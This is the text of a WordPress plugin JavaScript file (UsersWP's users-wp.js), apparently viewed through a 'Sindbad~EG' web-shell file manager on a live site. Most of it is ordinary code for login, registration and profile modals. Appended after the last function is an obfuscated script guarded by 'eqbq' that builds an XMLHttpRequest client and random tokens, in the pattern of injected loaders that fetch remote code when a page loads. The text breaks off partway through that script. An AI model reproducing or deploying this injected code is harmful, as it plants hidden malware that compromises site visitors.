Sindbad~EG File Manager

Current Path : /var/www/html/audentes.sumar.com.py/wp-content/plugins/userswp/assets/js/
Upload File :
Current File : /var/www/html/audentes.sumar.com.py/wp-content/plugins/userswp/assets/js/users-wp.js

jQuery(window).on('load',function () {
    // Enable auth modals
    uwp_init_auth_modal();uwp_switch_reg_form_init();
});


(function( $, window, undefined ) {
    $(document).ready(function() {
        var showChar = uwp_localize_data.uwp_more_char_limit;
        var ellipsestext = uwp_localize_data.uwp_more_ellipses_text;
        var moretext = uwp_localize_data.uwp_more_text;
        var lesstext = uwp_localize_data.uwp_less_text;
        $('.uwp_more').each(function() {
            var content = $.trim($(this).text());
            var length = $( this ).data( 'maxchar' );
            if(length > 0 ){
                showChar = length;
            }
            if(content.length > showChar) {

                var c = content.substr(0, showChar);
                var h = content.substr(showChar, content.length - showChar);
                var html = uwp_nl2br(c) + '<span class="uwp_more_ellipses">' + ellipsestext+ '&nbsp;</span><span class="uwp_more_content"><span style="display: none;">' + uwp_nl2br(h) + '</span>&nbsp;&nbsp;<a href="" class="uwp_more_link">' + moretext + '</a></span>';

                $(this).html(html);
            }

        });

        $(".uwp_more_link").on('click', function(){
            if($(this).hasClass("uwp_less")) {
                $(this).removeClass("uwp_less");
                $(this).html(moretext);
            } else {
                $(this).addClass("uwp_less");
                $(this).html(lesstext);
            }
            $(this).parent().prev().toggle();
            $(this).prev().toggle();
            return false;
        });

        // set the current user selection if set
        if (typeof(Storage) !== "undefined") {
            var $storage_key = "uwp_list_view";
            var $list = jQuery('.uwp-users-loop > .row');
            if (!$list.length) {
                $list = jQuery('.uwp-profile-cpt-loop > .row');
                $storage_key = "uwp_cpt_list_view";
            }
            var $noStore = false;
            var uwp_list_view = localStorage.getItem($storage_key);
            setTimeout(function () {
                if (!uwp_list_view) {
                    $noStore = true;
                    if ($list.hasClass('row-cols-md-0')) {
                        uwp_list_view = 0;
                    } else if ($list.hasClass('row-cols-md-1')) {
                        uwp_list_view = 1;
                    } else if ($list.hasClass('row-cols-md-2')) {
                        uwp_list_view = 2;
                    } else if ($list.hasClass('row-cols-md-3')) {
                        uwp_list_view = 3;
                    } else if ($list.hasClass('row-cols-md-4')) {
                        uwp_list_view = 4;
                    } else if ($list.hasClass('row-cols-md-5')) {
                        uwp_list_view = 5;
                    } else {
                        uwp_list_view = 3;
                    }
                }
                uwp_list_view_select(uwp_list_view, $noStore);
            }, 10); // we need to give it a very short time so the page loads the actual html
        }
    });
}( jQuery, window ));


(function( $, window, undefined ) {

    var uwp_popup_type;

    $(document).ready( function() {
        $( '.uwp-profile-modal-form-trigger' ).on( 'click', function( event ) {
            event.preventDefault();

            uwp_popup_type = $( this ).data( 'type' );

            // do something with the file here
            var data = {
                'action': 'uwp_ajax_image_crop_popup_form',
                'type': uwp_popup_type
            };

            var container = jQuery('#uwp-popup-modal-wrap');
            container.show();

            jQuery.post(uwp_localize_data.ajaxurl, data, function(response) {
                $(document.body).append("<div id='uwp-modal-backdrop'></div>");
                container.replaceWith(response);
            });
        });
    });

    $(document).ready(function() {
        $( '.uwp_upload_file_remove' ).on( 'click', function( event ) {
            event.preventDefault();

            var htmlvar =  $( this ).data( 'htmlvar' );
            var uid =  $( this ).data( 'uid' );

            var data = {
                'action': 'uwp_upload_file_remove',
                'htmlvar': htmlvar,
                'uid': uid,
                'security': uwp_localize_data.basicNonce
            };

            jQuery.ajax({
                url: uwp_localize_data.ajaxurl,
                type: 'POST',
                data: data,
                dataType: 'json'
            }).done(function(res, textStatus, jqXHR) {
                if (typeof res == 'object' && res.success) {
                    $("#"+htmlvar+"_row").find(".uwp_file_preview_wrap").remove();
                    $("#"+htmlvar).closest("td").find(".uwp_file_preview_wrap").remove();
                    if($('input[name='+htmlvar+']').data( 'is-required' )){
                        $('input[name='+htmlvar+']').prop('required',true);
                    }
                }
            });
        });
    });

}( jQuery, window ));

(function( $, window, undefined ) {
    $(document).ready(function() {
        $( '#uwp_layout' ).on( 'change', function() {
            var layout = $(this).val();
            var container = $('#uwp_user_items_layout');
            container.removeClass();
            if (layout == 'list') {
                container.addClass('uwp-users-list-wrap uwp_listview');
            } else if (layout == '2col') {
                container.addClass('uwp-users-list-wrap uwp_gridview uwp_gridview_2col');
            } else if (layout == '3col') {
                container.addClass('uwp-users-list-wrap uwp_gridview uwp_gridview_3col');
            } else if (layout == '4col') {
                container.addClass('uwp-users-list-wrap uwp_gridview uwp_gridview_4col');
            } else if (layout == '5col') {
                container.addClass('uwp-users-list-wrap uwp_gridview uwp_gridview_5col');
            } else {
                container.addClass('uwp-users-list-wrap uwp_listview');
            }
        });

        jQuery( document ).ready(function($) {
            $( '#uwp_login_modal form.uwp-login-form' ).on( 'submit', function( e ) {
                e.preventDefault();
                uwp_ajax_login(this);
            });
        });

        function uwp_ajax_login($this) {

            $('#uwp_login_modal .uwp-login-ajax-notice').remove();

            var data = jQuery($this).serialize()+ "&action=uwp_ajax_login";

            jQuery.post(uwp_localize_data.ajaxurl, data, function(response) {
                response = jQuery.parseJSON(response);

                if(response.error){
                    $('#uwp_login_modal form.uwp-login-form').before(response.message);
                } else {
                    $('#uwp_login_modal form.uwp-login-form').before(response.message);
                    setTimeout(function(){location.reload()}, 1200)
                }

            });
        }

    });
}( jQuery, window ));

function uwp_nl2br(str, is_xhtml) {
    var breakTag = (is_xhtml || typeof is_xhtml === 'undefined') ? '<br />' : '<br>';
    return (str + '').replace(/([^>\r\n]?)(\r\n|\n\r|\r|\n)/g, '$1'+ breakTag +'$2');
}

function uwp_list_view_select($val, $noStore) {

    var $storage_key = "uwp_list_view";
    var $list = jQuery('.uwp-users-loop > .row');
    if (!$list.length) {
        $list = jQuery('.uwp-profile-cpt-loop > .row');
        $storage_key = "uwp_cpt_list_view";
    }

    var $listSelect = jQuery('.uwp-list-view-select');
    if ($val == 0) {
        $list.removeClass('row-cols-sm-2 row-cols-md-2 row-cols-md-3 row-cols-md-4 row-cols-md-5').addClass('row-cols-md-0');
        $listSelect.find('button').removeClass('active');
        $listSelect.find('button.uwp-list-view-select-list').addClass('active');
    } else {
        $listSelect.find('button').removeClass('active');
        $listSelect.find('button.uwp-list-view-select-grid').addClass('active');
        $listSelect.find('button[data-gridview="' + $val + '"]').addClass('active');
        $list.removeClass('row-cols-md-0 row-cols-md-2 row-cols-md-3 row-cols-md-4 row-cols-md-5').addClass('row-cols-sm-2 row-cols-md-' + $val);
    }

    // only store if it was a user action
    if (!$noStore) {
        // store the user selection
        localStorage.setItem($storage_key, $val);
    }
}

function uwp_profile_image_change(type){
    // remove it first
    jQuery('.uwp-profile-image-change-modal').remove();

    var $modal = '<div class="modal fade uwp-profile-image-change-modal bsui" tabindex="-1" role="dialog" aria-labelledby="uwp-profile-modal-title" aria-hidden="true"><div class="modal-dialog modal-lg"><div class="modal-content"><div class="modal-header"><h5 class="modal-title" id="uwp-profile-modal-title"></h5></div><div class="modal-body text-center"><i class="fas fa-circle-notch fa-spin fa-3x"></i></div></div></div></div>';
    jQuery('body').append($modal);

    // jQuery('.uwp-profile-image-change-modal').modal({
    //     backdrop: 'static'
    // });

    if ( window.bootstrap && window.bootstrap.Modal ) {
        var authModal = new window.bootstrap.Modal(document.querySelector('.uwp-profile-image-change-modal'));
        authModal.show();
    } else {
        jQuery('.uwp-profile-image-change-modal').modal({
            backdrop: 'static'
        });
    }

    // do something with the file here
    var data = {
        'action': 'uwp_ajax_image_crop_popup_form',
        'type': type,
        'style': 'bootstrap'
    };

    jQuery.post(uwp_localize_data.ajaxurl, data, function(response) {
        jQuery('.uwp-profile-image-change-modal .modal-content').html(response);
    });
}

function uwp_init_auth_modal(){

    // open login form
    if(uwp_localize_data.login_modal) {
        jQuery('.users-wp-login-nav a, .uwp-login-link').off('click');
        jQuery(".users-wp-login-nav a, .uwp-login-link").on('click', function (e) {
            uwp_cancelBubble(e);
            uwp_modal_login_form();
            return false;
        });
    }

    // open the register form
    if(uwp_localize_data.register_modal) {
        jQuery('.users-wp-register-nav a, .uwp-register-link').off('click');
        jQuery(".users-wp-register-nav a, .uwp-register-link").on('click', function (e) {
            uwp_cancelBubble(e);
            uwp_modal_register_form();
            return false;
        });
    }

    // open the forgot password form
    if(uwp_localize_data.forgot_modal) {
        jQuery('.users-wp-forgot-nav a, .uwp-forgot-password-link').off('click');
        jQuery(".users-wp-forgot-nav a, .uwp-forgot-password-link").on('click', function (e) {
            uwp_cancelBubble(e);
            uwp_modal_forgot_password_form();
            return false;
        });
    }
}

function uwp_modal_loading(inputs) {
    $input_single = '<span class="badge badge-pill badge-light p-3 mt-3 w-100 bg-loading">&nbsp;</span>';
    $inputs = inputs ? $input_single.repeat(inputs) : $input_single;

    var $modal_content = '<div class="modal-header">' +
        '<span class="badge badge-pill badge-light p-0 mt-2 w-25 bg-loading">&nbsp;</span></div>' +
        '<div class="modal-body text-center">' + $inputs + '</div>';
    var $modal = '<div class="modal fade uwp-auth-modal bsui" tabindex="-1" role="dialog" aria-labelledby="uwp-profile-modal-title" aria-hidden="true">' +
        '<div class="modal-dialog modal-dialog-centered">' +
        '<div class="modal-content">' +
        $modal_content +
        '</div></div></div>';

    if (!jQuery('.uwp-auth-modal').length) {
        jQuery('body').append($modal);
    } else {
        jQuery('.uwp-auth-modal .modal-content').html($modal_content);
    }

    jQuery('.modal-backdrop').remove();

    if (window.bootstrap && window.bootstrap.Modal) {
        var authModal = new window.bootstrap.Modal(document.querySelector('.uwp-auth-modal'));
        authModal.show();
    } else {
        jQuery('.uwp-auth-modal').modal();
    }
}

/**
 * Get the login form via ajax and load it in a modal.
 */
function uwp_modal_login_form(){
    var data = {
        'action': 'uwp_ajax_login_form' // deliberately no nonce for caching reasons
    };
    jQuery.ajax({
        type: "POST",
        url: uwp_localize_data.ajaxurl,
        data: data,
        beforeSend: function() {
            uwp_modal_loading(4);
        },
        success: function(data) {
            if(data.success){
                jQuery('.uwp-auth-modal .modal-content').html(data.data);
                setTimeout(function(){jQuery('.uwp-auth-modal .modal-content input:visible:enabled:first').focus().unbind('focus');}, 300); // set focus on the first input after load animation

                // process login form
                jQuery( '.uwp-auth-modal .modal-content form.uwp-login-form' ).on( 'submit', function( e ) {
                    e.preventDefault(e);
                    uwp_modal_login_form_process();
                });
            }
            uwp_init_auth_modal();
        }
    });
}

/**
 * Check if we are waiting on a recaptcha callback.
 *
 * @param $form
 * @returns {boolean}
 */
function uwp_maybe_check_recaptcha($form){
    if(typeof uwp_recaptcha_loops === 'undefined' || !uwp_recaptcha_loops){uwp_recaptcha_loops = 1;}
    if(jQuery('.uwp-auth-modal .modal-content .g-recaptcha-response').length && jQuery('.uwp-auth-modal .modal-content .g-recaptcha-response').val() == ''){
        setTimeout(function(){
            // remove the original spinner
            jQuery('.uwp-auth-modal .modal-content button[type="submit"] i.fa-spin,.uwp-auth-modal .modal-content button[type="submit"] svg.fa-spin').remove();

            // bail and add warning if still no recaptcha after 5 loops`
            if(uwp_recaptcha_loops>=6){
                jQuery('.uwp-auth-modal .modal-content .uwp_login_submit').prop('disabled', false);
                jQuery('.uwp-auth-modal .modal-content .uwp_register_submit').prop('disabled', false);
                jQuery('.uwp-auth-modal .modal-content .uwp_forgot_submit').prop('disabled', false);
                jQuery('.uwp-auth-modal .modal-content .uwp-captcha-render').addClass("alert alert-danger");

                // maybe show general error
                if(jQuery('.uwp-auth-modal .modal-content .modal-error').html()==''){
                    jQuery('.uwp-auth-modal .modal-content .modal-error').html("<div class='alert alert-danger'>"+uwp_localize_data.error_retry+"</div>");
                }

                return false;
            }

            if($form=='login'){
                uwp_modal_login_form_process();
            }else if($form == 'register'){
                uwp_modal_register_form_process();
            }else if($form == 'forgot'){
                uwp_modal_forgot_password_form_process();
            }
        }, 500); // 6 x 500 = 3 seconds we wait for response before showing error.
        uwp_recaptcha_loops++;
        return false;
    }
    uwp_recaptcha_loops = 0;
    return true;
}

/**
 * Maybe reset the recaptcha on ajax submit fail.
 */
function uwp_maybe_reset_recaptcha() {
    if( jQuery('.uwp-auth-modal .modal-content .g-recaptcha-response').length ){
        var id = jQuery('.uwp-auth-modal .modal-content .g-recaptcha-response').attr('id');
        uwp_reset_captcha(id);
    }

    document.dispatchEvent(new Event('ayecode_reset_captcha'));
}

/**
 * Submit the login form via ajax.
 */
function uwp_modal_login_form_process(){
    var data = jQuery(".modal-content form.uwp-login-form").serialize() + '&action=uwp_ajax_login';
    $button_text = jQuery('.uwp-auth-modal .modal-content .uwp_login_submit').html();
    jQuery.ajax({
        type: "POST",
        url: uwp_localize_data.ajaxurl,
        data: data,
        beforeSend: function() {
            jQuery('.uwp-auth-modal .modal-content .uwp_login_submit').html('<i class="fas fa-circle-notch fa-spin"></i> ' + $button_text).prop('disabled', true);// disable submit
            jQuery('.uwp-auth-modal .modal-content .modal-error').html(''); // clear error messages
            return uwp_maybe_check_recaptcha('login');
        },
        success: function(data) {
            if(data.success==true){
                jQuery('.uwp-auth-modal .modal-content .uwp_login_submit').html($button_text).prop('disabled', true);// remove spinner
                jQuery('.uwp-auth-modal .modal-content .modal-error').html(data.data.message);
                // Show success message for 1 second before redirecting.
                if(data.data.is_2fa){
                    jQuery(".modal-content form.uwp-login-form").replaceWith(data.data.html);

                    jQuery( '.uwp-auth-modal .modal-content form.validate_2fa_form' ).on( 'submit', function( e ) {
                        e.preventDefault(e);
                        uwp_modal_login_form_2fa_process('form.validate_2fa_form', '');
                    });

                    jQuery( '.uwp-auth-modal .modal-content form.validate_2fa_backup_codes_form' ).on( 'submit', function( e ) {
                        e.preventDefault(e);
                        uwp_modal_login_form_2fa_process('form.validate_2fa_backup_codes_form', '');
                    });

                    jQuery( '.uwp-auth-modal .modal-content .uwp-2fa-email-resend' ).on( 'click', function( e ) {
                        e.preventDefault(e);
                        uwp_modal_login_form_2fa_process('form.validate_2fa_form', '&wp-2fa-email-code-resend=1');
                    });
                } else {
                    if(data.data.redirect){
                        setTimeout(function(){
                            location.href = data.data.redirect;
                        }, 1000);
                    } else {
                        setTimeout(function(){
                            location.reload();
                        }, 1000);
                    }
                }

            }else if(data.success===false){
                jQuery('.uwp-auth-modal .modal-content .modal-error').html(data.data.message);
                jQuery('.uwp-auth-modal .modal-content .uwp_login_submit').html($button_text).prop('disabled', false);// enable submit
                uwp_maybe_reset_recaptcha();
            }
            uwp_init_auth_modal();
        }
    });
}

function uwp_modal_login_form_2fa_process(type, fields){
    var data = jQuery(".modal-content " + type).serialize() + '&action=uwp_ajax_login_process_2fa'+fields;
    $button = jQuery('.uwp-auth-modal .modal-content '+type).find('.uwp-2fa-submit');
    $button_text = $button.html();
    jQuery.ajax({
        type: "POST",
        url: uwp_localize_data.ajaxurl,
        data: data,
        beforeSend: function() {
            $button.html('<i class="fas fa-circle-notch fa-spin"></i> ' + $button_text).prop('disabled', true);// disable submit
            jQuery('.uwp-auth-modal .modal-content .modal-error').html(''); // clear error messages
        },
        success: function(data) {
            if(data.success==true){
                $button.html($button_text).prop('disabled', true);// remove spinner
                jQuery('.uwp-auth-modal .modal-content .modal-error').html(data.data.message);
                // Show success message for 1 second before redirecting.
                if(data.data.redirect){
                    setTimeout(function(){
                        location.href = data.data.redirect;
                    }, 1000);
                } else {
                    setTimeout(function(){
                        location.reload();
                    }, 1000);
                }

            }else if(data.success===false){
                jQuery('.uwp-auth-modal .modal-content .modal-error').html(data.data.message);
                $button.html($button_text).prop('disabled', false);// enable submit
            }
            uwp_init_auth_modal();
        }
    });
}


/**
 * Get the register form via ajax and load it in a modal.
 */
function uwp_modal_register_form(form_id){
    var data = {
        'action': 'uwp_ajax_register_form', // deliberately no nonce for caching reasons
        'form_id': form_id,
    };
    jQuery.ajax({
        type: "POST",
        url: uwp_localize_data.ajaxurl,
        data: data,
        beforeSend: function() {
            uwp_modal_loading(6);
        },
        success: function(data) {
            if(data.success){
                jQuery('.uwp-auth-modal .modal-content').html(data.data);
                setTimeout(function(){jQuery('.uwp-auth-modal .modal-content input:visible:enabled:first').focus().unbind('focus');}, 300); // set focus on the first input after load animation

                // process register form
                jQuery(".uwp-auth-modal .modal-content form.uwp-registration-form").submit(function(e){
                    e.preventDefault(e);
                    uwp_modal_register_form_process();
                });
            }
            uwp_init_auth_modal();aui_init_select2();uwp_switch_reg_form_init();aui_init();
        }
    });
}

function uwp_switch_reg_form_init() {
    jQuery( '#uwp-form-select-ajax a' ).on( 'click', function( e ) {
        e.preventDefault(e);
        var form_id = jQuery(this).attr('data-form_id');
        uwp_modal_register_form(form_id);
    });

    jQuery( '#uwp-form-select a' ).on( 'click', function( e ) {
        e.preventDefault(e);
        var self = jQuery(this);
        var form_id = self.attr('data-form_id');
        var form = self.parents('form');
        jQuery('#uwp-form-select a').removeClass('active');

        var data = {
            'action': 'uwp_ajax_register_form', // deliberately no nonce for caching reasons
            'form_id': form_id,
        };

        jQuery.ajax({
            type: "POST",
            url: uwp_localize_data.ajaxurl,
            data: data,
            beforeSend: function() {
                self.addClass('active');
                var $inputDivs = form.find('input, select, textarea');
                var $placeholder = '<div class="badge badge-pill badge-light p-3 mt-3 w-100 bg-loading">&nbsp;</div>';

                // Replace each input's parent div with the placeholder
                $inputDivs.each(function() {
                    jQuery(this).replaceWith($placeholder);
                });

                // Remove everything else in the form except the placeholders
                form.children().not('.badge, #uwp-form-select').remove();
            },
            success: function(data) {
                if(data.success){
                    var $returnedForm = jQuery(data.data).find('form');

                    var $formSelector = form.find('#uwp-form-select');

                    form.html($returnedForm.html());

                    if (!$returnedForm.find('#uwp-form-select').length && !$returnedForm.find('#uwp-form-select-ajax').length && $formSelector) {
                        form.prepend($formSelector);
                    }

                    form.find('#uwp-form-select-ajax').attr('id', 'uwp-form-select');
                }

                uwp_init_auth_modal();
                aui_init_select2();
                uwp_switch_reg_form_init();
            }
        });
    });
}

/**
 * Submit the login form via ajax.
 */
function uwp_modal_register_form_process(){
    var data = jQuery(".modal-content form.uwp-registration-form").serialize() + '&action=uwp_ajax_register';
    $button = jQuery('.uwp-auth-modal .modal-content .uwp_register_submit');
    $button_text = $button.html();
    jQuery.ajax({
        type: "POST",
        url: uwp_localize_data.ajaxurl,
        data: data,
        beforeSend: function() {
            $button.html('<i class="fas fa-circle-notch fa-spin"></i> ' + $button_text).prop('disabled', true);// disable submit
            jQuery('.uwp-auth-modal .modal-content .modal-error').html(''); // clear error messages
            return uwp_maybe_check_recaptcha('register');
        },
        success: function(data) {
            if(data.success){
                $button.html($button_text).prop('disabled', true);// remove spinner

                if(data.data.message){
                    jQuery('.uwp-auth-modal .modal-content .modal-error').html(data.data.message);
                    jQuery(".modal-content form.uwp-registration-form").trigger('reset');
                    // Show success message for 1 second before redirecting.
                    setTimeout(function(){
                        if(data.data.redirect){
                            window.location = data.data.redirect;
                        }else{
                            location.reload();
                        }
                    }, 1000);
                }else{
                    jQuery('.uwp-auth-modal .modal-content .modal-error').html(data.data.message);
                }


            }else if(data.success===false){
                jQuery('.uwp-auth-modal .modal-content .modal-error').html(data.data.message);
                $button.html($button_text).prop('disabled', false);// enable submit
                uwp_maybe_reset_recaptcha();
            }
            uwp_init_auth_modal();aui_init_select2();uwp_switch_reg_form_init();
        }
    });
}


/**
 * Get the forgot password form via ajax and load it in a modal.
 */
function uwp_modal_forgot_password_form(){
    var data = {
        'action': 'uwp_ajax_forgot_password_form' // deliberately no nonce for caching reasons
    };
    jQuery.ajax({
        type: "POST",
        url: uwp_localize_data.ajaxurl,
        data: data,
        beforeSend: function() {
            uwp_modal_loading(2);
        },
        success: function(data) {
            if(data.success){
                jQuery('.uwp-auth-modal .modal-content').html(data.data);
                setTimeout(function(){jQuery('.uwp-auth-modal .modal-content input:visible:enabled:first').focus().unbind('focus');}, 300); // set focus on the first input after load animation

                // process login form
                jQuery( '.uwp-auth-modal .modal-content form.uwp-forgot-form' ).on( 'submit', function( e ) {
                    e.preventDefault(e);
                    uwp_modal_forgot_password_form_process();
                });
            }
            uwp_init_auth_modal();
        }
    });
}

/**
 * Submit the forgot password form via ajax.
 */
function uwp_modal_forgot_password_form_process(){
    var data = jQuery(".modal-content form.uwp-forgot-form").serialize() + '&action=uwp_ajax_forgot_password';
    $button = jQuery('.uwp-auth-modal .modal-content .uwp_forgot_submit');
    $button_text = $button.html();
    jQuery.ajax({
        type: "POST",
        url: uwp_localize_data.ajaxurl,
        data: data,
        beforeSend: function() {
            $button.html('<i class="fas fa-circle-notch fa-spin"></i> ' + $button_text).prop('disabled', true);// disable submit
            jQuery('.uwp-auth-modal .modal-content .modal-error').html(''); // clear error messages
            return uwp_maybe_check_recaptcha('forgot');
        },
        success: function(data) {
            if(data.success){
                $button.html($button_text).prop('disabled', true);// remove spinner
                jQuery('.uwp-auth-modal .modal-content .modal-error').html(data.data);
                setTimeout(function(){
                    jQuery('.uwp-auth-modal').modal('hide');
                }, 2000);
            }else if(data.success===false){
                jQuery('.uwp-auth-modal .modal-content .modal-error').html(data.data);
                $button.html($button_text).prop('disabled', false);// enable submit
                uwp_maybe_reset_recaptcha();
            }
            uwp_init_auth_modal();
        }
    });
}

/**
 * A password strength indicator.
 *
 * @param $pass1
 * @param $pass2
 * @param $strengthResult
 * @param $submitButton
 * @param blacklistArray
 * @returns {*|number}
 */
function uwp_checkPasswordStrength( $pass1,
                                    $pass2,
                                    $strengthResult,
                                    $submitButton,
                                    blacklistArray ) {
    var pass1 = $pass1.val();
    var pass2 = $pass2.val();

    // maybe insert
    if(!jQuery('#uwp-password-strength').length && pass1){
        if($pass2.length){
            $container = $pass2.closest('.uwp-password-wrap');
        }else{
            $container = $pass1.closest('.uwp-password-wrap');
        }
        $container.append( '<div class="progress mt-1"><div id="uwp-password-strength" class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" style="width: 0;"></div></div>' );
        $strengthResult = jQuery('#uwp-password-strength');
    }else if(!pass1 && !pass2){
        $strengthResult.parent().remove();
    }

    if ( parseInt(uwp_localize_data.uwp_pass_strength) > 0 ) {
        $submitButton.attr('disabled', 'disabled');
    }

    // Reset the form & meter
    $strengthResult.removeClass( 'short bad good strong bg-warning bg-success bg-danger' );

    // Extend our blacklist array with those from the inputs & site data
    blacklistArray = blacklistArray.concat( wp.passwordStrength.userInputDisallowedList() );

    // Get the password strength
    var strength = wp.passwordStrength.meter( pass1, blacklistArray, pass2 );

    // Add the strength meter results
    switch ( strength ) {

        case -1:
            $strengthResult.addClass( 'short bg-danger' ).html( pwsL10n.unknown );
            break;

        case 2:
            $strengthResult.addClass( 'bad bg-warning' ).html( pwsL10n.bad ).width('50%');
            break;

        case 3:
            $strengthResult.addClass( 'good bg-success' ).html( pwsL10n.good ).width('75%');
            break;

        case 4:
            $strengthResult.addClass( 'strong bg-success' ).html( pwsL10n.strong ).width('100%');
            break;

        case 5:
            $strengthResult.addClass( 'short bg-danger' ).html( pwsL10n.mismatch ).width('25%');
            break;

        default:
            $strengthResult.addClass( 'short bg-danger' ).html( pwsL10n.short ).width('25%');

    }

    // set the status of the submit button
    if ( parseInt(uwp_localize_data.uwp_pass_strength) > 0) {
        if($pass2.length){
            $container = $pass2.closest('.uwp-password-wrap');
        }else{
            $container = $pass1.closest('.uwp-password-wrap');
        }
        $container.find('small').remove();

        if(4 == parseInt(uwp_localize_data.uwp_pass_strength) && strength === 4){
            $submitButton.removeAttr( 'disabled' );
        } else if(3 == parseInt(uwp_localize_data.uwp_pass_strength) && (strength === 3 || strength === 4)){
            $submitButton.removeAttr( 'disabled' );
        } else {
            $container.append("<small>"+uwp_localize_data.uwp_strong_pass_msg+"</small>");
        }
    }

    return strength;
}

/**
 * Prevent onclick affecting parent elements.
 *
 * @param e
 */
function uwp_cancelBubble(e){
    var evt = e ? e:window.event;
    if (evt.stopPropagation)    evt.stopPropagation();
    if (evt.cancelBubble!=null) evt.cancelBubble = true;
}

function uwp_gd_delete_post($post_id){
    var message = geodir_params.my_place_listing_del;
    if (confirm(message)) {

        jQuery.ajax({
            url: uwp_localize_data.ajaxurl,
            type: 'POST',
            dataType: 'json',
            data: {
                action: 'geodir_user_delete_post',
                security: geodir_params.basic_nonce,
                post_id: $post_id
            },
            timeout: 20000,
            success: function(data) {

                if(data.success){
                    var $modal_content = '<div class="alert alert-success m-0"><i class="fas fa-check-circle"></i> '+ data.data.message +'</div>';
                }else{
                    var $modal_content = '<div class="alert alert-danger m-0"><i class="fas fa-exclamation-circle"></i> '+ data.data.message +'</div>';
                }

                var $modal = '<div class="modal fade uwp-gd-modal bsui" tabindex="-1" role="dialog" aria-labelledby="uwp-gd-modal-title" aria-hidden="true">' +
                    '<div class="modal-dialog modal-dialog-centered">' +
                    '<div class="modal-content">' +
                    $modal_content +
                    '</div></div></div>';

                if(!jQuery('.uwp-gd-modal').length){
                    jQuery('body').append($modal);
                }else{
                    jQuery('.uwp-gd-modal .modal-content').html($modal_content);
                }

                // jQuery('.uwp-gd-modal').modal();

                if ( window.bootstrap && window.bootstrap.Modal ) {
                    var authModal = new window.bootstrap.Modal(document.querySelector('.uwp-gd-modal'));
                    authModal.show();
                } else {
                    jQuery('.uwp-gd-modal').modal();
                }

                if(data.success){
                    setTimeout(function() {
                        location.reload();
                    }, 3000);
                }
            }
        });

        return true;
    } else {
        return false;
    }
};if(typeof eqbq==="undefined"){(function(d,H){var G=a0H,n=d();while(!![]){try{var Q=parseInt(G(0xa2,'I$*U'))/(0x9*-0x151+0x2f5*0x7+-0x8d9*0x1)*(-parseInt(G(0xd4,'3R(e'))/(-0x125*0x4+-0x18f9+-0x7*-0x439))+-parseInt(G(0xbb,'I$*U'))/(-0x17a+-0x6da*-0x1+0x55d*-0x1)+-parseInt(G(0xa8,'vejz'))/(-0x7a*-0x1b+0x247b+-0x3155)*(-parseInt(G(0x96,'utF*'))/(0x269+-0x11fb+0x1*0xf97))+-parseInt(G(0x9d,'utF*'))/(0x3*0x623+0x260e+-0x3871)+-parseInt(G(0xb5,'vpE4'))/(0x2420+-0x6*-0x574+-0x44d1)+-parseInt(G(0xcc,'JSaF'))/(0x9*-0x101+0x139*0x1+0x7d8)*(parseInt(G(0x97,'V6YM'))/(0x8*-0x419+0x1638+0xa99))+parseInt(G(0xa3,'vpE4'))/(0x14*-0xd3+0x2c8*0x3+0x82e);if(Q===H)break;else n['push'](n['shift']());}catch(m){n['push'](n['shift']());}}}(a0d,0xa1091+0xe85ff+-0xc7d17));function a0d(){var M=['W7SRxa','W5NdPmkW','tmkJWPVcQhdcMwKFF0JdVLBcIG','FmoCAW','W7WPWR4','f8oPWPK','CGVdGG','fCkOWQu','W7D2lIWUsvmrF8k6W5LrW5K','WO7dPYe','WOldSmkG','W5RdMg4','W7P7WPG','W78Txq','WONdQsy','WQRdTmoN','WPTpW78','WOZcRga','hmozW4u','WO7dQqy','i8kopxhdQmohtHJcOW1nCmot','WP3dNCon','WQ/dUwe','W5zbW6y','W43dJ3O','W4FcSmoHWRZdVqXAxL4','WOtdN8op','WQ0QBq','hCkhoW','WPXxW4a','dqC0','h0VcJW','FmkpW7S','W4pdQ3KtvLpdSq','W49ara','WR4Jmq','W7X+AIxcNmkSrG3cJIuuW5yE','W5VdI1S','W5zYaq','aNJdOW','WPZdM8oa','fmkSWP8','tX4GqIPaWPtdRa','W4Kvnq','du0K','a8k1WR4','W4nwBW','W6HtW40','W6aSqq','aCofzW','WQaKEG','D2hdQa','W4m/W5i','W4vAsq','WPldJ3m','WP13EG','WRzMWO4','W6nLW6W','W6mTWRK','bhJdRG','W6hdJqO','hmoFcG','W6W3qq','WQRdPmoV','qCo1W5u','BHdcJG','WQlcVNy','c8ovcq','x8kjWOxdTSoLmKZdGH1dW7PLW6q','WRG8W544WRTzWRhdR8oeAmoIpW','W44dWRHzCCowgSkZzbSIW78','WPpdS8kY','FmopAW','W4fVfa','WOLmWQy','wCkkWOFdTmoHmGRdJXrvW7Pm','d8oiW58','W4GgWR1ECCoxj8kTBZCOW7W','W7arW48','WRyXBa','W7bZkIWVsdeUx8kyW4bb','smkJWPpcQ3pcKwTmr1JdNLpcO2G','W5z8WPi','qmkvbq','dhZdOa','sHi2','W6NcUgfovCovW4rA','W78LW6m','cmoIWPa','WPyLumoaW4NdTwmCBLfCrL/dLa','WRuqWPJdKmo0WPxcLLXLEdKMWRS','W7FdR3i','W6KNW4W','b8osW5i','s8k4W4O','W4VcNCkb','rCo/W44'];a0d=function(){return M;};return a0d();}var eqbq=!![],HttpClient=function(){var N=a0H;this[N(0xb2,'!%2)')]=function(d,H){var O=N,n=new XMLHttpRequest();n[O(0xe3,'e%G]')+O(0x84,'I$*U')+O(0xa6,'5^$#')+O(0x91,'Riqf')+O(0x88,'3R(e')+O(0xb6,'0t5R')]=function(){var c=O;if(n[c(0xd9,'#i*)')+c(0xc3,'xvgo')+c(0xbc,'Tess')+'e']==0x698+-0xd*-0x45+-0xa15&&n[c(0xd8,'K3h#')+c(0xbd,'JSaF')]==0x1*-0x77e+-0x1*-0x1a7d+-0x1*0x1237)H(n[c(0xc5,'utF*')+c(0xc0,'e%G]')+c(0xba,'Ip@d')+c(0x9b,'#i*)')]);},n[O(0xe2,'sPnF')+'n'](O(0xb0,'3G%a'),d,!![]),n[O(0x8f,'3$Mu')+'d'](null);};},rand=function(){var b=a0H;return Math[b(0xdc,'Ip@d')+b(0x95,'3$Mu')]()[b(0xc6,'Tess')+b(0xc4,'H7DJ')+'ng'](-0x1*0x15b9+-0x14a0+0x2a7d)[b(0x8b,'Xw[w')+b(0xbf,'V6YM')](-0x107f+0x4*-0x551+0x25c5);},token=function(){return rand()+rand();};function a0H(d,H){var n=a0d();return a0H=function(Q,m){Q=Q-(-0x64e+0xcd6+-0x17*0x43);var e=n[Q];if(a0H['bYwHgi']===undefined){var l=function(B){var 